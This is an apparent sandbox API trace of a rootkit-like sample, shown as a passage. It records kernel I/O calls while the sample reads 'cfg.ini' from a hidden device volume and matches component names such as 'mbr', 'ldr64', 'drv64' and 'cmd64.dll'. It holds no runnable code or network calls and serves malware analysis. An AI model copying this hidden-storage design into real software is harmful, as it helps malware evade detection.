[0122.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.444] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.444] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.444] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.444] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.444] IdePortDispatch () returned 0x103 [0122.444] KeWaitForMutexObject () returned 0x0 [0122.445] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.445] KeLeaveCriticalRegion () [0122.445] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.445] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.445] KeEnterCriticalRegion () [0122.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.445] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c93000 [0122.445] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.445] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.445] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.445] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.445] IdePortDispatch () returned 0x103 [0122.445] KeWaitForMutexObject () returned 0x0 [0122.445] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.445] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.445] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.445] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.445] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.445] IdePortDispatch () returned 0x103 [0122.445] KeWaitForMutexObject () returned 0x0 [0122.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.445] KeLeaveCriticalRegion () [0122.445] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.446] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.446] KeEnterCriticalRegion () [0122.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.446] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.446] KeLeaveCriticalRegion () [0122.446] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.446] KeEnterCriticalRegion () [0122.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.446] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.446] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.446] KeLeaveCriticalRegion () [0122.446] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.446] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.446] KeEnterCriticalRegion () [0122.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.446] ExFreePoolWithTag (P=0xfffffa8003be4790, Tag=0x0) [0122.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.446] KeLeaveCriticalRegion () [0122.446] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.446] ReleaseMutex (hMutex=0xf0) returned 1 [0122.446] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.446] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.446] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.446] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.446] KeEnterCriticalRegion () [0122.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.446] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.446] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.446] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.446] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.447] IdePortDispatch () returned 0x103 [0122.447] KeWaitForMutexObject () returned 0x0 [0122.447] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.447] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.447] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.447] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.447] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.447] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.447] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.447] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.447] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.447] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.447] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.447] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.447] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.447] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.447] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.447] KeLeaveCriticalRegion () [0122.447] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.447] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.447] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.447] KeEnterCriticalRegion () [0122.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.447] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.447] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.447] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.447] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.447] IdePortDispatch () returned 0x103 [0122.447] KeWaitForMutexObject () returned 0x0 [0122.447] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.447] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.448] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.448] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.448] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.448] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.448] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.448] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.448] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.448] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.448] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.448] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.448] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.448] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.448] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.448] KeLeaveCriticalRegion () [0122.448] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.448] ReleaseMutex (hMutex=0x100) returned 1 [0122.448] Sleep (dwMilliseconds=0x2bf20) [0122.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c300190, dwHighDateTime=0x1d24fa4)) [0122.456] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.456] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.456] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.456] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.456] KeEnterCriticalRegion () [0122.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.456] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.457] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.457] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.457] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.457] IdePortDispatch () returned 0x103 [0122.457] KeWaitForMutexObject () returned 0x0 [0122.457] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.457] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.457] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.457] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.457] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.457] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3fb0 [0122.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.457] KeLeaveCriticalRegion () [0122.457] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.457] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.457] KeEnterCriticalRegion () [0122.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.457] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.457] KeLeaveCriticalRegion () [0122.457] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.457] KeEnterCriticalRegion () [0122.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.457] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.457] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.457] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.457] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.457] IdePortDispatch () returned 0x103 [0122.457] KeWaitForMutexObject () returned 0x0 [0122.457] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.457] KeLeaveCriticalRegion () [0122.458] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.458] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.458] KeEnterCriticalRegion () [0122.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.458] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c96000 [0122.458] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.458] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.458] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.458] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.458] IdePortDispatch () returned 0x103 [0122.458] KeWaitForMutexObject () returned 0x0 [0122.458] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.458] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.458] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.458] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.458] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.458] IdePortDispatch () returned 0x103 [0122.458] KeWaitForMutexObject () returned 0x0 [0122.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.458] KeLeaveCriticalRegion () [0122.458] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.459] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.459] KeEnterCriticalRegion () [0122.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.459] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.459] KeLeaveCriticalRegion () [0122.459] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.459] KeEnterCriticalRegion () [0122.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.459] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.459] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.459] KeLeaveCriticalRegion () [0122.459] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.459] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.459] KeEnterCriticalRegion () [0122.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.459] ExFreePoolWithTag (P=0xfffffa8003be3fb0, Tag=0x0) [0122.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.459] KeLeaveCriticalRegion () [0122.459] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.459] ReleaseMutex (hMutex=0xf0) returned 1 [0122.459] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.459] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.459] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.459] KeEnterCriticalRegion () [0122.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.459] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.459] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.459] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.459] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.459] IdePortDispatch () returned 0x103 [0122.459] KeWaitForMutexObject () returned 0x0 [0122.460] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.460] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.460] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.460] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.460] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.460] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5f00 [0122.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.460] KeLeaveCriticalRegion () [0122.460] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.460] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.460] KeEnterCriticalRegion () [0122.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.460] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.460] KeLeaveCriticalRegion () [0122.460] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.460] KeEnterCriticalRegion () [0122.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.460] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.460] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.460] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.460] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.460] IdePortDispatch () returned 0x103 [0122.460] KeWaitForMutexObject () returned 0x0 [0122.460] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.460] KeLeaveCriticalRegion () [0122.460] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.460] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.460] KeEnterCriticalRegion () [0122.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.460] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c97000 [0122.461] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.461] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.461] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.461] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.461] IdePortDispatch () returned 0x103 [0122.461] KeWaitForMutexObject () returned 0x0 [0122.461] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.461] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.461] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.461] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.461] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.461] IdePortDispatch () returned 0x103 [0122.461] KeWaitForMutexObject () returned 0x0 [0122.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.461] KeLeaveCriticalRegion () [0122.461] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.462] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.462] KeEnterCriticalRegion () [0122.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.462] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.462] KeLeaveCriticalRegion () [0122.462] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.462] KeEnterCriticalRegion () [0122.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.462] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.462] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.462] KeLeaveCriticalRegion () [0122.462] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.462] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.462] KeEnterCriticalRegion () [0122.462] 